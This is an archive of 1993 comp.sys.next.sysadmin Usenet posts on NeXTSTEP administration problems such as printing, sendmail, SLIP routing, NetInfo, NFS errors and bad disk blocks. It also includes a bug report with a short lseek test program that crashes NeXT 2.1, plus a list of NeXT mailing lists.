Newsgroups: comp.sys.next.sysadmin From: me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger) Subject: Re: swapfile keeps growing . . . Message-ID: <1993Feb1.173515.10436@news.lrz-muenchen.de> Keywords: swaptab, swapfile grows, hiwat Sender: news@news.lrz-muenchen.de (Mr. News) Organization: Leibniz-Rechenzentrum, Muenchen (Germany) References: <1993Jan30.135149.7220@nidat.sub.org> Date: Mon, 1 Feb 1993 17:35:15 GMT In article <1993Jan30.135149.7220@nidat.sub.org> Nitezki@NiDat.sub.org (Peter Nitezki) writes: > In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net > (Matthew M. Stecker) writes: > > I know that this has been asked before, but how to fix a swapfile under > > 3.0 that keeps growing and growing . . . ? > > > > This same machine did not have this problem under 2.2 > > > Known problem in currently used version of Mach (NeXt's Unix kernel). > Reboot will fix it! Sorry, no other remedy known to me. > -- > Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth > Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and > D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked > GERMANY | # up to the Net. Peter 1,3-5 Did you ever try to set an upper limit ('hiwat=...') for the swapfile in the file /etc/swaptab? Have a look to the swaptab man page! It works well at system 2.1 and should at 3.0, too.
Newsgroups: comp.sys.next.sysadmin From: ohara@leland.Stanford.EDU (Moriyoshi Ohara) Subject: Re: Getting a Mac to print on the NeXT's printer Message-ID: <1993Jan30.003106.21319@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSG, Stanford University, CA 94305, USA References: <C1Lty0.Itu@unix.portal.com> Distribution: portal Date: Sat, 30 Jan 93 00:31:06 GMT In article <C1Lty0.Itu@unix.portal.com>, eric@whyanext.com (Eric Schwartz) writes: |> I've just successfully hooked up a Mac Performa to my NeXT via Ethernet, and |> have had quite good luck with e-mail, FTP, and telnet sessions by using |> TCP/Connect II for the Mac. |> |> I am now trying to get a program called "lpr" to run on the Mac, but there |> have been a few problems. First, there seem to be some PostScript/font |> incompatibilities. Worse, my print queue on the NeXT seems to get clogged up |> after the Mac sends things to it (possibly only PostScript files), and it will |> only occasionally get the pages printed, _if_ I reboot the machine. |> |> Worse yet, after the Mac has botched up the print queue, I get a message that |> reads something like, "Cannot connect to print daemon." when I try to print |> from within NeXTSTEP, at which point I must reboot to return things to normal. |> |> Can someone recommend a solution to this problem, or point me towards a |> package for either the NeXT or the Mac that will allow reasonably transparent |> print service on the Mac's side? |> After similar experiences, I found "macps" that converts Mac PostScript files for Unix printers. You can anonymous-ftp from info-mac/unix at sumex-aim.stanford.edu Mori
Organization: Arizona State University Date: Monday, 1 Feb 1993 09:37:50 MST From: <ASODL@ASUACAD.BITNET> Message-ID: <93032.093750ASODL@ASUACAD.BITNET> Newsgroups: comp.sys.next.sysadmin Subject: Sendmail Not Receiving 3.0 Hello! We are having a major problem here with receiving mail. But first, let me give some background about this problem. Under 2.1 we configured sendmail and it worked fine. Likewise, sendmail continued to work once we "upgraded" to 3.0. However, and for whatever reason, there were bad sectors reported for the server and we had to rebuild 3.0 from scratch. SInce then, we have only been able to send mail over the network but not receive it. Mail now bounces or loops back to the sender. I seem to recall seeing some bug reports about sendmail listed but I don't have them for reference. I as well as many others who have to presently divert mail we appreciate any clues and suggestions for solving this problem. OL
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: Using NeXT's and VAX/VMS systems Message-ID: <1993Jan30.134517.1116@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <z7r3cdb@rpi.edu> Date: Sat, 30 Jan 93 13:45:17 GMT In article <z7r3cdb@rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > A local user is thinking of buying some NeXT's to augment the work they > already do on some Vax's running VMS. Most of the data they have is > currently on the VMS systems, and he was wondering how easy it is for NeXT's > and VMS systems to share data. Does VMS support NFS, for instance? Are the > line-ending characters the same in VMS as they are in Unix/NeXT land? > > He asked me, and since I have never worked with a VMS system I figured I'd > ask the net. For anyone who is using NeXT's with VMS systems, how well do > they work together? I'd appreciate hearing from anyone who has done this > already. Either reply to me (email) or just follow-up. I'll summarize what > email messages I receive. > > Thanks. > > -- > Garance Alistair Drosehn = gad@eclipse.its.rpi.edu > ITS Systems Programmer (handles NeXT-type mail) > Rensselaer Polytechnic Institute; Troy NY USA If you get the MULTINET product from TGV you get TCP/IP, NFS server, and NFS client for VMS. This lets you cross mount disks and share files. We have our VMS accounting system generate reports to text files that are automatically copied to the NeXT disk and then loaded into Sybase on the NeXT. Then we use the great NeXT tools to access the database. It all just works. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: plenson@hi_presure_lab (Peter Lenson) Subject: awk ARGV ARGC ( unable to access ) Organization: University of Western Ontario Date: Mon, 1 Feb 1993 13:53:48 GMT Message-ID: <1993Feb1.135348.16815@julian.uwo.ca> Sender: news@julian.uwo.ca (USENET News System) Hi this is probably one of those FAQ's, however, I'm in rush. Does the version of awk that comes with NeXTStep 3.0 support the built-in variable ARGV,ARGC, as defined in THE AWK Programming Language book. Also if it doesn't what else is missing? Please post responses thanx peter lenson
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Seeking bitnet sendmail.cf configuration assistance Message-ID: <1993Feb1.222030.4579@news.csuohio.edu> Keywords: bitnet sendmail Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Mon, 1 Feb 1993 22:20:30 GMT Hello. I am trying to configure my NS 3.0's sendmail to send mail to Bitnet addresses, but I am not sure what to do, and i was hoping someone could provide some assistance. If, so I will summarize to the list so others can take advantage also. Thanks, Joe | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library joer@inca.law.csuohio.edu | "We look for things ... to make us go!"
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Fonts on Mac HD: How to easily access under 3.0? Summary: Need help with getting files off a Mac HD into NS3.0 Keywords: Fonts, NeXT, Macintosh, NeXTStep 3.0, Knucklehead Message-ID: <1993Feb1.232947.15429@galileo.cc.rochester.edu> Date: 1 Feb 93 23:29:47 GMT Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York I have a 20 meg Hard Drive filled with fonts and their respective AFM files. The HD has been formatted as a Mac HD, and I got the fonts from my Mac. I'd like to access the fonts and put them into my Station, but the first step is to get them all of the HD and into my NeXT. I can see the filenames, and I can actually view the data within the files using Edit and specifying "fontname.#rsrc#" to load them. However: I can't view that very same data from a terminal window by typing "cat fontname.#rsrc#" Is there a trick in 3.0 that lets me access the invisible fork on Mac files more easily than what I'm doing? Is there a manual on how to do this? For instance, where did that first person find the method of adding ".#rsrc#" to filenames? I suppose it's in the on-line manuals, but I can't find it. It seems fairly silly to let one mount Mac HDs and then not be able to access the data on them. BTW: Does the program "mfrc" works under 3.0? Does it work at all? It says that it will convert Mac fonts to NeXT, and I'm sincerely hoping that it still works. -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
From: tilley@ccu.umanitoba.ca (Richard Tilley) Newsgroups: comp.sys.next.sysadmin,news.software.nn Subject: Re: nn: "Database magic number mismatch" error? Message-ID: <C1t2AJ.DB@ccu.umanitoba.ca> Date: 2 Feb 93 05:08:42 GMT References: <1993Jan28.093953.2249@cognet.ucla.edu> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William M. Eldridge) writes: >Trying to get nn compiled on a NeXT Turbo Color running 3.0, >using latest fully patched version of nn. > 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0 > or 3.0 - is this cool, or is a more recent version available? > 2) I'm NFS mounting the nn database from a Sun. When I type > "nn" I get a "Database magic number mismatch" error. > Nothing I found in Next or nn FAQs talks about this one. > nn runs fine on the Suns. I had the same problem and was not able to fix it. I have heard that you need to use NETWORK_DATABASE on both the Sun and NeXT. Our Sun does not use this, so I was unable to test this theory. Please let us all know if you get it working. -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: bob@ruf.rice.edu (Robert Morrison Dana) Subject: Term: a SLIP replacement Message-ID: <C1suB5.16J@rice.edu> Sender: news@rice.edu (News) Organization: Rice University Date: Tue, 2 Feb 1993 02:16:17 GMT SLIP users take note: There now is a communications protocol available called "term" that provides much of the functionality of SLIP. In particular, it allows users to have multiple logins over the same modem line, run X-windows clients, and map a login prompt of one machine to a telnet port of the other machine, in either direction. The best part is that it is entirely a user-level program- no root access is needed at either in for installation or use. The same server is run at both ends of the line and connections can be made in either direction. What's the catch? Term is being developed along with and for Linux, a public domain UNIX for 386. It compiles for the NeXT so that Linux machines may connect to NeXT servers. Theoretically, it should work just as well between two NeXTs as a NeXT and a Linux box. I can compile it, but it doesn't work. Does anybody have this running on a NeXT? It looks like a fantastic idea, and from what I have seen of it on Linux machines, a significant improvement over SLIP for those of us who don't need/want all the other things SLIP does (like NFS). I'll be happy to provide more info for those who want it. -Robert -- Robert Dana <bob@rice.edu> ONCS Student UNIX systems programmer Rice University, Houston, TX (This is me, not Rice)
Newsgroups: comp.sys.next.sysadmin From: tilley@ccu.umanitoba.ca (Richard Tilley) Subject: Re: several subdomains Message-ID: <C1t4st.1Bn@ccu.umanitoba.ca> Keywords: Netinfo Management Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at> Date: Tue, 2 Feb 1993 06:02:52 GMT In <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at> zettler@opal.risc.uni-linz.ac.at (Peter Zettler) writes: > We want to use a NeXT station in another subnet. >Does anyone know: > (i) Is it necessary to set up a three level netinfo domain > for doing this. no. > (ii) If no, how do we have to set up the NeXT working together with > the Netinfo server in a different subnet? the local ni domains need the ip address of the host serving the root ni domain. This defaults to "broadcasthost", which your router will likely filter out. The root ni domain needs the ip addresses of each host with a local ni domain. In hostconfig, set router to -ROUTED- or the ip address of your router. Get the netmask correct. > (iii) If yes, is there any other description of making a three-level > domain out of a two-level domain than the one of NeXT Inc.? > We already did but we failed due to a loop inside the database. Ouch. There is a program to fix that on the SupportBulletin disk. A mid level domain needs to know the ip address of its parent and all its children. -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
From: florent@ecu.unice.fr (Florent Musso) Newsgroups: comp.sys.next.sysadmin Subject: entry for128 MB Magneto-optical drive Date: 2 Feb 1993 16:40:20 GMT Organization: University of Nice Sophia-Antipolis Distribution: world Message-ID: <1km85kINNqnc@taloa.unice.fr> I am using a 128 MB Magneto-optical drive on my NeXT computer. I do not have the good entry in /etc/disktab and the use the entry of the 256 NeXT optical drive. i works but it is very slow so is there the good entry available on a server? I use a 650 magneto optical drive with an appropriate entry and it is faster than the 128 MB drive. Thanks Florent Musso email:florent@ecu.unice.fr (NeXT mail)
From: stolcke@ICSI.Berkeley.EDU (Andreas Stolcke) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: lseek(bad filedes) crashes NeXT2.1 Date: 2 Feb 1993 18:29:32 GMT Organization: International Computer Science Institute, Berkeley, CA, U.S.A. Message-ID: <1kmeic$p05@agate.berkeley.edu> The little program below tests the file descriptors from 0 ot 31 for open-ness by performing an lseek and checking errno. This happens to consistently crash out NeXT cube running the 2.1 release. Question #1: Is this a known problem? Question #2: Is there a fix for it. The problem doesn't seem to be specific to lseek. A similar program using select(2) to test the file descriptors also crashes the machine. I consider this a very bad bug since it means that any program that is not careful with open's and close's can produce very bad surprises. Please reply via e-mail since I don't read this group. Thanks in advance. -------- cut here ------------ #include <errno.h> extern int errno; extern long lseek(); main() { int i; printf("Open streams:"); for (i = 0; i < 32; i++) { if (lseek(i, 0L, 1) >= 0 || errno == ESPIPE) { printf(" %d", i); } else if (errno != EBADF) { extern char *sys_errlist[]; printf(" error on %d: %s", i, sys_errlist[errno]); } } printf("\n"); exit(0); } ------------------------------- -- Andreas Stolcke stolcke@icsi.berkeley.edu International Computer Science Institute stolcke@ucbicsi.bitnet 1947 Center St., Suite 600, Berkeley, CA 94704 (510) 642-4274 ext. 126
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III) Newsgroups: comp.sys.next.sysadmin Subject: My NeXT color printer doesn't work! Date: 2 Feb 1993 16:07:35 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1km687INNldu@tamsun.tamu.edu> Keywords: printing daemon, NeXT CBJ printer Yesterday, I finally received the new NeXT-Canon bubblejet printer. After using the PrinterManager application to set up a print queue, I tried to print something using the Print... menu in Edit. I got a panel that said: The application could not connect to the printing daemon. When I tried using lpr on a PostScript file I got a message saying: Feb 1 17:21:32 clients-r-us lpd: Name lpr Msg connect "/dev/lpd/printer" Connection refused Doing a ps -aux gives me: root 109 0.0 1.6 1.48M 320K ? SW 0:00 (lpd) for the printing daemon. When I nidump printcap ., I get: My_Printer: \ :lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf:ty=NeXT Color Printer:note=: \ :nxformat=3.0:sd=/usr/spool/NeXT/My_Printer: \ :af=/usr/adm/My_Printer.acct:_writers=*: Have I done something wrong? Thanks, Tom Swanner III bizarre@clients-r-us.tamu.edu
From: arzt@dccs.upenn.edu (Noam H. Arzt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Slip and -NXHost Message-ID: <107684@netnews.upenn.edu> Date: 2 Feb 93 16:21:27 GMT References: <1993Jan27.145036.20671@dvorak.amd.com> Sender: news@netnews.upenn.edu The real problem here is that you need to define an IP address for the ETHERNET adaptor on the remote (i.e. slip client) machine, since NXhost can only address an ethernet and not a slip port. Try this: 1. On remote machine (slip client), use NetManager to define the IP address and node name ONLY on the "Local" screen. Do not fill in any of the other junk. Its fine to use the default address that NeXT provides as long as you don't use that any other place in the cluster. 2. On the machine on-site that you want to NXhost from, add this IP address and host name to the hosts table in the NetInfo database. 3. In your rc.local file on the machine on site add the following: route add ip_add_of_eth_on_remote ip_add_of_slip_on_remote 1 with the right siustitutions so that the NXHost command will "find" the ethernet adaptor of the remote machine "through" the slip adaptor of that machine. Good luck! -- Mr. Noam Arzt 215/898-3029 (voice) Director, Special Projects 215/898-9348 (FAX) University of Pennsylvania arzt@dccs.upenn.edu Data Communications & Computing Services (NeXTmail is OK) Suite 221A, 3401 Walnut Street, Philadelphia, PA 19104
Newsgroups: comp.sys.next.sysadmin From: dan@ennex1.eng.utsa.edu (Daniel Shelton) Subject: Frigging write errors!!!!! Message-ID: <1993Feb2.155132.4600@ringer.cs.utsa.edu> Sender: news@ringer.cs.utsa.edu Organization: Univ of Texas at San Antonio Date: Tue, 2 Feb 1993 15:51:32 GMT Hello All, I get these blasted errors when trying to index a directory that is located on an external disk. The directory is exported to the network. Anybody have an idea??? THANKS MUCH Dan (dan@ennex1.eng.utsa.edu) NFS getattr failed for server ennex1: RPC: Timed out NFS write failed for server ennex1: RPC: Timed out NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002 fa15703 d8d70000 NFS write failed for server ennex1: RPC: Timed out NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002 fa15703 d8d70000 NFS write failed for server ennex1: RPC: Timed out NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002 fa15703 d8d70000 NFS write failed for server ennex1: RPC: Timed out NFS write error 22 on host ennex1 fh 608 0 80002 eb625a1 fc9a0000 80002 fa15703 d8d70000 vnode_pageout: failed! NFS read failed for server ennex1: RPC: Timed out NFS getattr failed for server ennex1: RPC: Unable to receive NFS read failed for server ennex1: RPC: Unable to receive server ennex1:
Newsgroups: comp.sys.next.sysadmin From: jcorallo@ccsi.com (P. John Corallo) Subject: Re: SLIP IS UP, BUT... Message-ID: <1993Jan29.170541.12814@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. References: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu> Date: Fri, 29 Jan 1993 17:05:41 GMT In article <ANDERSON.93Jan28092525@sapir.cog.jhu.edu> anderson@sapir.cog.jhu.edu (Stephen Anderson) writes: > I'm in a very similar situation: I can connect from my home machine to > the slip server on my office machine, but apart from being able to > ping the slip interface, I can't get any further (can't even ping the > ethernet interface on the slip server machine). I wrote Louie a while > ago asking for help (Hi, Louie! I'm a paying customer....:-) but > didn't hear anything. > > I wouldn't clutter the net with this, but I think that if someone > could post a good description of what to do to establish connectivity > on a slip server so that slip clients can connect to the net, it would > be a public service. Louie's manual gives a fine description of what > to do to get the client-server connection up. That's probably fine if > you're using slip to connect to an existing server that someone else > is already administering, but I don't know of a ready resource for > what to do if you have to setup the server too. > Post the SLIP and ethernet IP addresses of your remote machine and office machine. I will post up what you need to do and the syntax. It sounds like you just need to setup the proper netmasks and router tables and everything should "just work". -John Corallo
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: jjfeiler@relief.com (John Jay Feiler) Subject: UPS daemon software Message-ID: <1993Jan31.193851.13794@relief.com> Keywords: ups daemon next Sender: jjfeiler@relief.com Organization: relief consulting Date: Sun, 31 Jan 1993 19:38:51 GMT Does anyone have a ups-daemon that will compile on a NeXT. I'd like to have my machine automatically shutdown when power fails, but the upsd program I got off the archives uses SysV termios stuff, and I'd rather have a BSD version that Just Works (TM) than have to hack this one. Thanks John -- John Feiler jjfeiler@relief.com 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: NeXT Computer Hiring NeXTSTEP/Intel positions (Redwood City, California) Message-ID: <6703@rosie.NeXT.COM> Date: 2 Feb 93 18:53:25 GMT Sender: news@NeXT.COM NeXT Computer Hiring NeXTSTEP/Intel positions Location: Redwood City, California Reply to: Amir Gharaat Pre-release Coordinator Software Marketing NeXT Computer, Inc Email: amir@next.com NeXT Computer is seeking candidates for temporary full-time positions in the software pre-release program for NeXTSTEP/Intel and other future NeXT software products. Following is a description of the position. Please read and understand all requisites before responding. Summary of responsibilities: * Filter incoming bug reports from pre-release sites and submit reports into Software Engineering * Verification of bug reports * Communication with pre-release sites * Communication with software engineers * Feedback to the pre-release management as to the status of the program Summary of required skills: * Excellent technical knowledge of NeXTSTEP * High proficiency in using third-party applications * Excellent communication skills * Extensive knowledge of IBM-compatible PCs a definite plus * NeXTSTEP programming experience a plus This position is an excellent opportunity to gain in-depth knowledge of NeXT's future software products as well as a good starting point for possible permanent positions with NeXT. **************************************** This position requires temporary relocation to NeXT headquarters in Redwood City, CA, the cost of which will not be reimbursed by NeXT. Candidates need to be available to work full-time beginning March 1st and work for a minimum of 6 months. **************************************** Please submit applications via email no later than 2/15 to amir@next.com. Amir Gharaat Pre-release Coordinator Software Marketing NeXT Computer, Inc.
From: urban@sideshow.jpl.nasa.gov (Michael P Urban) Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin Subject: Re: Sun NIS client won't resolve DNS from Netinfo Date: 2 Feb 1993 19:19:02 GMT Organization: Jet Propulsion Laboratory, Pasadena, CA Distribution: world Message-ID: <1kmhf6INN4k@elroy.jpl.nasa.gov> References: <1k9mkbINNd5m@sun.rest.tasc.com> Keywords: Netinfo, NIS, YP, DNS In article <1k9mkbINNd5m@sun.rest.tasc.com> wainner@rest.tasc.com writes: >. I really don't want to "fix" the Sun's >with the custom shared libraries that use DNS without NIS. Any ideas >any body? I was just about to post a similar query; I am in an analogous position with an HP9000 as the NIS master, and a SunOS 4.1.3 Sparc as the client. The Sun Systems Administration manual indicates that `the YP_INTERDOMAIN key will be inserted in (the maps)' as a result of the -b flags; the O'Reilly DNS book (the `cricket book'?) simply says that `This will insert a ``magic cookie'' into the hosts map that instructs NIS to query DNS if it can't find a host name in the hosts map.' and further indicates that this is ypserv behavior, not client behavior; presumably neither Mr. Wainner's NeXTs nor my HPs have ypserv programs that actually do this. So it seems that the solution would seem to be making the Sun a slave server, making sure that it is also its own client, and somehow jiggering the map to include this YP_INTERDOMAIN key. I tried some experiments with perl and its dbmopen facility, but could not make things go. If someone knows precisely what has to be done here, I would certainly like to hear about it. Mike Urban urban@cobra.jpl.nasa.gov
Newsgroups: comp.sys.next,comp.sys.next.sysadmin From: cleeland@cs.tulane.edu (Chris Cleeland) Subject: Can't get my FAX straight... Message-ID: <1993Feb1.162702.4461@cs.tulane.edu> Nntp-Posting-Host-[nntpd-4396]: sinbad Sender: news@cs.tulane.edu Organization: Computer Science Dept., Tulane Univ., New Orleans, LA Distribution: na Date: Mon, 1 Feb 1993 16:27:02 GMT Has anyone had any experience hooking up a FaxModem which is *NOT* listed in the default NS 3.0 PrintManager Fax Modem configuration? What needs to happen? I know precious little about Fax Modems, so info on that would also be appreciated :-) Specifically, I am trying to hook up a Zoom/FAXMODEM FX9624 that a friend has given to me. He used to have it hooked up to his Mac. Any help appreciated!! E-mail, repost, phone call, whatever! Thanks! -cj -- ---------------------------------------------------------------------- Chris Cleeland "If your heart ain't in it, cleeland@cs.tulane.edu then get your other part out."
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: pascal@nextasy.physics.mcmaster.ca (Pascal Gaudette) Subject: Mapping out a bad block *without* reformatting? Message-ID: <1993Feb2.200851.5083@mcshub.dcss.mcmaster.ca> Sender: usenet@mcshub.dcss.mcmaster.ca Organization: McMaster University, Hamilton, Ontario. Date: Tue, 2 Feb 1993 20:08:51 GMT It appears that I have a bad block on my (1 month old) hard drive. I keep getting media errors from this one block, and have apparently lost one file to it -- I moved the file to a new directory, and now it won't copy or uncompress... every access attempt generates: Feb 1 19:32:46 nextasy mach: Target 1: MEDIA ERROR; block 61310H retry 1 Is there any way to map out the bad block *without* reformatting the entire drive? This is my boot drive, so reformatting and restoring from backup would be quite a pain... Thanks for any help, -- Pascal "The Rascal" Gaudette pascal@nextasy.physics.mcmaster.ca MacNUG president | *NeXTmail encouraged* graduate student, McMaster university | Je ne suis pas infaillible. Physics and astronomy dep. | Vive le Quebec LIBRE!
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.sysadmin Subject: List of NeXT Mailing lists Message-ID: <6708@rosie.NeXT.COM> Date: 2 Feb 93 20:13:53 GMT Sender: news@NeXT.COM Hello, Below is the updated list of NeXT SPECIAL INTEREST GROUPS (SIGS). These lists are available for anyone to join with NeXT special interests in many topic areas. Also included is info on the NeXT Developer's email alias that had been accidently dropped from this listing: NeXTSTEP Developer SIG mailing list To join, send email to next-prog-request@cpac.washington.edu Conrad Geiger Manager, International NeXT and NeXTSTEP User Groups _________________________________________________________________ Adobe Illustrator NeXT SIG (ai_next@wcraft.wimsey.bc.ca) To join , email: jchin@wcraft.wimsey.bc.ca Adobe Technology Exchange Phone: (415) 962-4999 AFS NeXT SIG To join, email: info-afs-next-request@transarc.com Auspex Administrators (NFS file servers) To join, send email to: auspex-request@princeton.edu Austrian NeXT users SIG To join, email the text: "SUBSCRIBE nougat <your name>" to listserv@fml.tuwien.ac.at Berkeley Mathematics Software Group Email: nb@cs.stanford.edu Classroom: NeXT Courseware SIG To join, email the text: "SUBSCRIBE next-classroom <your name>" to MAILSERV@gac.edu Communications/TeleCommunications SIG To join, email: nextcomm-request@marble.com Create users NeXT SIG To join, send email to Create-request@mcs.anl.gov Craftman SIG To join, email: chris@nextpoint.de Data GROUP NeXT SIG To join, email: data_group@dazzl.com DataPhile users NeXT SIG To join, send email to DataPhile-request@mcs.anl.gov DBKit SIG mailing list To join, send email to dbkit-request@medequity.com Developer SIG mailing list To join, send email to next-prog-request@cpac.washington.edu Epoch Administrators To join, send email to: epuf-request@antares.mcs.anl.gov Executor SIG To join, email: executor-request@ictv.com Finnish: Finnish Users of NeXT To join, send email to: mailserver@lists.funet.fi and write in body text: HELP LIST SUB FUNeXT Frame: FUN (Frame Users Network) To join, email: framers-request@drd.com Frame User Network -New England (FUNNE) To join, email: funne@srbci.mv.com Gopher users Interest Group To join, email: gopher-news-request@boombox.micro.umn.edu GIS(Geographical Information Services)SIG To join, email: next-gis-request@deltos.com GNU - Objective C Email list To join, email: gnu-objc-request@prep.ai.mit.edu Improv SIG User Group To join, email: improv-request@bmt.gun.com ISDN Mailing List To join, email: isdn-request@csn.org IXKit Mailing List (Indexing Kit) To join, email the text: "SUBSCRIBE ixkit <your name>" to listserv@cubetech.com Japanese: Kanji and Japanese on the NeXT To join, email:next-nihongo-request@pinoko.berkeley.edu Korea NeXT Users To join, email: knext-request@beethoven.gmu.edu Legal Special Interest Group (JuriNUG) To join, email: aba-unix-list-request@cayman.com Legal (ABA) Email Group and send the text: SUB NIL-L <your name> to listserv@austin.onu.edu Mach-informaion Mailing List To join, email: info-mach-request@cs.cmu.edu Maple Special Interest Group To join, email: glabahn@daisy.waterloo.edu Mathematica:Special Interest Group To join. email: mathgroup-request@yoda.physics.unc.edu Medical: NeXTMed SIG To join, email: NeXTMed-request@ulnar.biostr.washington.edu Mesa Email List To join, email: mesa-request@athena.com Music: NeXT Music To join, email: nextmusic-request@wri.com Music Developer SIG To join, email: musickit@ccrma.stanford.edu MUSIC Special Interest Group To join, email the text: "SUBSCRIBE EMUSIC-L <your> <name>" to listserv@AMERICAN.EDU Mexico - Mexico NeXT Discussion List To join, email the text: "SUBSCRIBE MEXNEXT <your> <name>" to listserv@TECMTYVM.bitnet Missouri - MUNUG-L Discussion List To join, email the text: "SUBSCRIBE MUNUG-L <your> <name>" to listserv@UMCVMB.bitnet Next/Apple II SIG Mailing List To join, email: na2sig-request@byu.edu NeXT Programmer SIG mailing list To join, send email to next-prog-request@cpac.washington.edu NeXTDimension SIG To join, email the text: "subscribe dimension <firstname> <lastname>" to listserv@nextasy.physics.mcmaster.ca NeXT- Icons SIG Mailing List To join, email: next-icon-request@bmt.gun.com NeXT Managers SIG (quick tech. answers) To join, email: next-managers-request@stolaf.edu NeXT Q&A's SIG To join, email the text: "SUBSCRIBE NEXT-L <your> <name>" to LISTSERV@BROWNVM.BROWN.EDU NeXTSTEP SIG , the operating environment To join, email the text: "SUBSCRIBE NEXTSTEP <your> <name>" to LISTSERV@IndyCMS.IUPUI.Edu or LISTSERV@IndyCMS.BITNET. Network and Security Management for Installed Labs and Large Installations To join, email: next-lab-request@cs.ubc.ca OBjC and C++ Special Interest Group To join, send a "subscribe" message to Email: gnu-objc-request@prep.ai.mit.edu Publishing Interest Group To join, email: publish-request@chron.com Desktop Pub Information Distribution List To join, email text: "SUB DTP-L <your name" to address: listserv@antigone.uu.holonet.net OMG Info Server To retrieve index, Email: omg_server@omg.org with text:"index" (send "get docs/doclist.txt" to receive listing of OMG documents Publishing Interest Group To join, email: publish-request@chron.com Renderman Special Interest Group To join, email: rman-request@aero.org RightBrain Mail Server For info, email the text "help" to the email address: file-server@rightbrain.com SCIENCE NeXT User Group (SNUG) To join, email: snug-requests@whitewater.chem.wisc.edu Software Review Mailing List To join, email the text: "SUBSCRIBE SOFTREVU <yourname>" to LISTSERV@BrownVM.Brown.EDU S-news (S statistics package) Mailing List To join, email: S-news-request@stat.wisc.edu United Kingdom NeXT Users Mailing List To join: Email: uk-next-users-request@ohm.york.ac.uk, next-uk-usergroups-request@asmec.co.uk, and uk-next-announce-request@asmec.co.uk Unix Mailing List To join, email: info-unix-request@sem.brl.mil WAIS (Wide Area Information Servers, an electronic pubs project) Mailing List To join. email: wais-discussion-request@think.com WAIS (Wide Area Information Servers, unmoderated) Mailing List To join, email: wais-talk-request@think.com
Newsgroups: comp.sys.next.sysadmin From: bill@ganesha.cognet.ucla.edu (William M. Eldridge) Subject: Re: nn: "Database magic number mismatch" error? Message-ID: <1993Feb2.202840.9553@cognet.ucla.edu> Sender: news@cognet.ucla.edu Organization: UCLA Cognitive Science Research Program References: <C1t2AJ.DB@ccu.umanitoba.ca> Date: Tue, 2 Feb 1993 20:28:40 GMT In article <C1t2AJ.DB@ccu.umanitoba.ca> tilley@ccu.umanitoba.ca (Richard Tilley) writes: > In <1993Jan28.093953.2249@cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William M. Eldridge) writes: > > > >Trying to get nn compiled on a NeXT Turbo Color running 3.0, > >using latest fully patched version of nn. > > > > 1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0 > > or 3.0 - is this cool, or is a more recent version available? > > > 2) I'm NFS mounting the nn database from a Sun. When I type > > "nn" I get a "Database magic number mismatch" error. > > Nothing I found in Next or nn FAQs talks about this one. > > nn runs fine on the Suns. > > I had the same problem and was not able to fix it. > I have heard that you need to use NETWORK_DATABASE on both the Sun and NeXT. > Our Sun does not use this, so I was unable to test this theory. > > Please let us all know if you get it working. > -- > ... Richard <tilley@ccu.umanitoba.ca> Computer Services, 